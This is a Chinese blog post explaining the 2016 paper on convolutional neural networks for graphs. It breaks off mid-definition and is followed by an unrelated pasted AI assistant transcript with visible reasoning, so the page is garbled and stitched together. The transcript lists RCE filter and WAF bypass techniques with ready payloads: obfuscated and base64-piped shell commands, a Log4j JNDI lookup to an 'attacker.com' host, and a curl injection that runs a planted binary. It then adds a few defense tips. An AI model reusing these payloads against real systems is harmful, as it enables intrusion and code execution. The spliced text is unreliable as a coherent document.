Learning Convolutional Neural Network for Graphs解读

本片论文是2016ICML的一篇论文,将的是如何将CNN应用在graph上的一种新的思路。关于graph 这个数据结构如果不熟悉的话,可以看一下文章末的简单的整理。

1.概要

  对于图卷积,总体来说,就是用w个固定size=(k+1)的子图来表示输入的graph,再将这w个子图正则化后,生成w(k+1)维的向量,作为传统的CNN网络的输入,进行学习。其实就是做了一个从graph到向量的映射的一个预处理的过程。
下图是算法的架构图:
在这里插入图片描述

图1 算法架构图

2.导读

  CNN在Euclidean Data(欧式数据,也即欧几里德数据)已经取得了瞩目的成就,CNN能够很好的处理这中数据结构,探索出其中所存在的特征表示,例如在计算机视觉、自然语言处理。
  所谓的欧式数据就是类似于grid、sequence这样的数据,例如图像就可以看做是一个2D的grid数据,语音信号就可以看做是一个1D的grid数据,但是现实生活中存在大量的非欧的数据,例如社交多媒体(Social Network)数据,化学成分(Chemical Compound)结构数据、生物基因蛋白(Protein)数据以及知识图谱(Knowledge Graphs)数据等等,这类数据属于图结构的数据(Graph-structured Data)。CNN等神经网络结构并不能直接的有效处理这样的数据。这篇Paper就是来讲述如何用CNN来高效的处理图结构的数据。
这个paper提出的将图像转变为一种特殊的图(graph),即一种grid graph,每一个像素就是graph的一个node。大概的可以猜测文章的motivation是将CNN在图像上的应用推广到一般的graph上。
  那么我们首先来看一下CNN在Image当中的应用。如下图所示,左图表示的是一张图像在一个神经网络层当中的卷机操作过程。最底部的那一层是输入的特征图(或原图),通过一个卷积(这里表示的是一个3*3的卷积核,也就是文章当中的receptive filed=9操作,输出一张卷积后的特征图。如图卷积操作,底层的9个像素被加权映射到上层的一个像素;再看图3中的右图,表示从graph的角度来看左图底层的输入数据。其中任意一个带卷积的区域都可以看作是一个中心点的node以及它的领域的nodes集合,最终加权映射为一个值。因此,底部的输入特征图可以看作是:在一个方形的grid 图当中确定一些列的nodes来表示这个图像并且构建一个正则化的邻域图(而这个邻域图就是卷积核的区域,也就是感知野)。
在这里插入图片描述

图2 图像的卷积操作

按照这样的方式来解释,那么如paper中Figure 1所示,一张4*4大小的图像,实际上可以表示为一个具有4个nodes(图中的1,2,3,4,红色点)的图(graph),其中每一个node还包括一个和卷积核一样大小的邻域(neighborhood filed)。那么,由此得到对于这种图像(image)的卷积实际上就是对于这4个node组成的图(graph)的领域的卷积。那么,对于一个一般性的graph数据,同样的只需要选出其中的nodes,并且求解得到其相关的固定大小(和卷积核一样大小)领域便可以使用CNN卷积得到图的特征表示。
在这里插入图片描述

图3 paper中的Figure 1
需要注意的是,图3(b)当中表示的是(a)当中的一个node的邻域,这个感知野按照空间位置从左到右,从上到下的顺序映射为一个和卷积核一样大小的vector,然后再进行卷积。但是在一般的图集当中,不存在图像当中空间位置信息。这也是处理图数据过程当中要解决的一个问题。   基于以上的描述paper当中主要做了三个事情:1. 选出合适的nodes;2. 为每一个node建立一个邻域;3. 建立graph表示到 vector表示的单一映射,保证具有相似的结构特征的node可以被映射到vector当中相近的位置。算法具体分为4个步骤:
3.算法步骤
(1).确定node(Node Sequence Selection)

  在Learning Convolutional Neural Network for Graphs中用的方法是一种根据graph当中的node的排序label进行选择,但是本文并没有对如何排序有更多的介绍。主要采取的方法是:centrality,也就是中心化的方法,个人的理解为越处于中心位置的点越重要。这里的中心位置不是空间上的概念,应该是度量一个点的关系中的重要性的概念,简单的举例说明。如图4当中的两个图实际上表示的是同一个图,对其中蓝色标明的两个不同的nodes我们来比较他们的中心位置关系。比较的过程当中,我们计算该node和其余所有nodes的距离关系。我们假设相邻的两个node之间的距离都是1
在这里插入图片描述

图4 图中node的示意图
  那么对于图4当中的左图的蓝色node,和它直接相连的node有4个,因此距离+4;再稍微远一点的也就是和它相邻点相邻的有3个,距离+6;依次再相邻的有3个+9;最后还剩下一个最远的+4;因此我们知道该node的总的距离为23。同理我们得到右边的node的距离为3+8+6+8=25。那么很明显node的选择的时候左边的node会被先选出来。

当然,这只是一种node的排序和选择的方法,其存在的问题也是非常明显的。

(2)找到Node的领域Neighborhood Assembly

  接下来对选出来的每一个node确定一个感知野receptive filed以便进行卷积操作。但是,在这之前,首先找到每一个node的邻域区域(neighborhood filed),然后再从当中确定感知野当中的nodes。假设感知野的大小为k,那么对于每一个Node很明显都会存在两种情况:邻域nodes不够k个,或者是邻域点多了。
在这里插入图片描述

图5 the result of Neighborhood Assembly
如图选出的是6个nodes,对于每一个node,首先找到其直接相邻的nodes(被称作是1-neighborhood),如果还不够再增加间接相邻的nodes。那么对于1-neighborhood就已经足够的情况,先全部放在候选的区域当中,在下一步当中通过规范化来做最终的选择。
(3)图规范化过程(Graph Normalization)

  假设上一步Neighborhood Assemble过程当中一个node得到一个领域nodes总共有N个。那么N的个数可能和k不相等的。因此,normalize的过程就是要对他们打上排序标签进行选择,并且按照该顺序映射到向量当中。
在这里插入图片描述

图6 node的receptive filed
如果这个node的邻域nodes的个数不足的话,直接全部选上,不够补上哑节点(dummy nodes),但还是需要排序;如果数目N超过则需要按着排序截断后面的节点。如图6所示表示从选node到求解出receptive filed的整个过程。Normalize进行排序之后就能够映射到一个vector当中了。因此,这一步最重要的是对nodes进行排序。

在这里插入图片描述

图7 单个节点k为4时receptive filed的选择
如图7所示,表示对任意一个node求解它的receptive filed的过程。这里的卷积核的大小为4,因此最终要选出来4个node,包括这个node本身。因此,需要给这些nodes打上标签(labeling)。当然存在很多的方式,那么怎样的打标签方式才是最好的呢?如图6所示,其实从这7个nodes当中选出4个nodes会形成一个含有4个nodes的graph的集合。作者认为:在某种标签下,随机从集合当中选择两个图,计算他们在vector空间的图的距离和在graph空间图的距离的差异的期望,如果这个期望越小那么就表明这个标签越好!具体的表示如下:

在这里插入图片描述
得到最好的标签之后,就能够按着顺序将node映射到一个有序的vector当中,也就得到了这个node的receptive field,如图6最右边所示。

(4)卷积神经网路Convolutional Architecture

文章使用的是一个2层的卷积神经网络,将输入转化为一个向量vector之后便可以用来进行卷积操作了。具体的操作如图8所示。
在这里插入图片描述

图8 卷积操作过程

首先最底层的灰色块为网络的输入,每一个块表示的是一个node的感知野(receptive field)区域,也是前面求解得到的4个nodes。其中 a n a_n an表示的是每一个node的数据中的一个维度(node如果是彩色图像那就是3维;如果是文字,可能是一个词向量……这里表明数据的维度为n)。粉色的表示卷积核,核的大小为4,但是宽度要和数据维度一样。因此,和每一个node卷积后得到一个值。卷积的步长(stride)为4,表明每一次卷积1个node,stride=4下一次刚好跨到下一个node。(备注:paper 中Figure1 当中,(a)当中的stride=1,但是转化为(b)当中的结构后stride=9)。卷积核的个数为M,表明卷积后得到的特征图的通道数为M,因此最终得到的结果为 V 1 … … V M V_1……V_M V1VM,也就是图的特征表示。有了它便可以进行分类或者是回归的任务了。

4.总结

论文中算法的流程可以总结为以下过程:
输入:一张图片
输出:每一个channel输出w个receptive filed

  1. graph labeling(对图的节点做标记,比如可以用节点的度做标记,做图的划分,也可以叫做color refinement or vertex classification),论文中采用的是The Weisfeiler-Lehman algorithm做图的划分。由此可以得到每个节点的rank值(为了不同的图能够有一个规范化的组织方式)
  2. 对labeling好的节点排序,取前w个节点,作为处理的节点序列(这样就可以把不同size的graph变成同一个size),若不足w个节点,则在输出中加全零的receptive filed,相当于padding。
  3. 采用stride=s来遍历w个节点,文中s=1,为了输出有w个receptive field,也就是2的方式补全。
  4. 对遍历到的每个节点v(称作root),采用bfs的方式获得此节点的k(卷积核的大小,即receptive field size)个1-neighborhood, 如果不足k个,再遍历1-neighborhood的1-neighborhood。直到满足k个,或者所有的邻居节点都遍历完。此节点和他的邻居节点就生成了neighborhood graph。
  5. step4就生成了w个(s=1)neighborhood graph。需要对着w个graph 进行labeling, 根据离root节点v的远近来计算每个节点的rank,根据算法4是离v越近,r越小。 如果每个neighborhood graph不足k个节点,用0节点补充。
  6. 规范化step5得到了已经label好的graph,因为需要把它变成injective,使每个节点 的标签唯一,采用nauty的算法。
  7. 经过6之后,就得到了graph转换后的vector,将vector扔到卷积之中,进行后续的操作。

通过这w个receptive field就能得到一个w(k+1)维的向量。

5.Graph补充
(1)图(Graph)

针对非欧机构化的问题,引入了图论中抽象意义上的图(Graph)来表示欧式结构化数据。

(2)图(Graph)的定义

图的定义形式为 G =

<think>嗯,用户想了解RCE漏洞绕过的方法和关键技术点。首先,我需要回忆一下RCE的基本概念。RCE是远程代码执行,攻击者能够在目标系统上执行任意代码,危害极大。用户提到的绕过可能是指绕过现有的防御措施,比如WAF、输入过滤或者沙箱环境。 首先,我得考虑常见的绕过技术。比如,命令注入中的特殊字符绕过,像分号、管道符、反引号这些。有时候,黑名单过滤不完善,可以用编码或替换字符的方式绕过。比如,用十六进制编码或者Base64编码命令,然后解码执行。 然后,用户提供的引用里有提到CVE-2024-0012,是关于身份认证绕过导致RCE的案例。这可能涉及权限提升或认证机制中的漏洞,比如利用会话管理的问题或者Cookie篡改。另外,引用3提到Log4j漏洞,涉及JNDI注入,这类漏洞利用特定的协议或服务来触发,绕过检测可能需要混淆payload,比如使用非常规的协议格式或拆分攻击字符串。 还需要考虑上下文,比如输入验证的漏洞。如果应用对用户输入处理不当,未正确转义或过滤,攻击者可能通过构造特殊输入注入恶意代码。例如,在SQL注入中,使用注释符或大小写混合绕过,类似的方法可能适用于RCE绕过。 另外,环境变量注入也是一种可能。比如,通过控制环境变量参数来执行命令,某些程序可能会信任特定的环境变量,从而导致代码执行。还有,利用动态代码执行函数,如PHP的eval,Python的exec,如果用户输入直接传递给这些函数,没有严格过滤,就会导致RCE。 还有,框架或库的漏洞,比如旧版本的库存在已知漏洞,攻击者可以利用这些未修补的漏洞执行代码。例如,Apache Struts的漏洞曾被广泛利用。 现在要结合用户提供的引用,引用1提到代码审计和静态分析,所以在绕过时可能需要找到代码审计中的疏漏,比如未覆盖的边缘情况。引用2中的认证绕过导致RCE,说明权限提升或绕过认证步骤是关键。引用3中的Log4j漏洞检测被WAF拦截,所以绕过WAF可能需要混淆技术。 总结下来,RCE绕过的方法可能包括:命令注入绕过过滤、利用编码或混淆、认证/授权绕过、框架漏洞利用、上下文敏感攻击(如模板注入)、以及利用信任机制漏洞。 需要确保回答结构清晰,分点说明,每个技术点给出例子,并引用提供的资料。比如,在认证绕过部分引用CVE-2024-0012的例子,在Log4j部分提到引用3的检测方法。 还要注意用户要求使用中文,LaTeX格式的数学表达式,但这个问题可能不太涉及数学公式,所以可能不需要太多数学内容。但如果有涉及变量或代码部分,需要用行内格式,比如$command$。 最后生成相关问题,要围绕RCE绕过的扩展,比如防御措施、特定漏洞分析、检测技术等。</think>### RCE漏洞绕过方法及关键技术点分析 #### 一、常见RCE漏洞绕过方法 1. **命令注入绕过** - **特殊字符替换**:利用黑名单未覆盖的符号(如`$()`、`%0a`、反引号)拼接命令,例如: ```bash # 原始命令:cat /etc/passwd # 绕过形式:c'a't /et$@c/pass''wd ``` - **编码转换**:使用Base64、十六进制或URL编码混淆命令,例如: ```bash echo "bHM=" | base64 -d | sh # 解码后执行"ls" ``` 2. **输入过滤绕过** - **多级嵌套解析**:利用应用层协议(如HTTP参数污染、JSON/XML解析差异)注入恶意代码[^3]。 - **上下文敏感攻击**:在模板注入(SSTI)中,通过构造`${"".getClass().forName("...")}`绕过沙箱限制。 3. **认证/授权绕过** - **会话伪造**:通过Cookie篡改或JWT令牌伪造绕过身份验证(如CVE-2024-0012中的Web界面认证绕过)[^2]。 - **路径遍历**:利用未校验的路径参数访问敏感接口,例如`/admin/../api/exec?cmd=id`。 4. **框架/库漏洞利用** - **动态加载漏洞**:如Log4j的JNDI注入(`${jndi:ldap://attacker.com/exp}`),通过DNS查询混淆绕过WAF检测。 - **反序列化漏洞**:利用Java/Python的反序列化机制触发恶意代码,例如Apache Commons Collections的Gadget链。 #### 二、关键技术点 1. **漏洞链组合** 通过多个漏洞串联实现绕过,例如: - 先绕过认证(CVE-2024-0012)→ 再利用权限提升漏洞(CVE-2024-9474)→ 最终执行任意命令[^2]。 $$ \text{RCE} = \text{认证绕过} \oplus \text{权限提升} \oplus \text{命令执行} $$ 2. **环境依赖利用** 利用目标系统环境变量或依赖库的缺陷,例如: ```bash # 注入环境变量实现命令执行 curl http://target.com/api?input=;export PATH=/tmp:$PATH;malicious-bin ``` 3. **混淆与逃逸技术** - **WAF绕过**:通过分块传输、注释插入或Unicode编码绕过正则匹配,例如: ```http POST /api HTTP/1.1 Transfer-Encoding: chunked 3; x=x\r\ncmd\r\n0\r\n\r\n ``` - **代码混淆**:在PHP中使用`${_GET['a']}`动态调用函数,避免直接出现敏感关键词。 #### 三、防御建议 1. **输入严格校验**:使用白名单机制限制字符集,例如仅允许`[a-zA-Z0-9_]`。 2. **沙箱隔离**:对动态代码执行操作进行资源隔离(如Docker容器)。 3. **依赖库更新**:定期升级框架/库版本(如Log4j升级到2.17.0+)。 4. **纵深防御**:结合WAF、RASP(运行时应用自保护)和代码审计[^1]。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值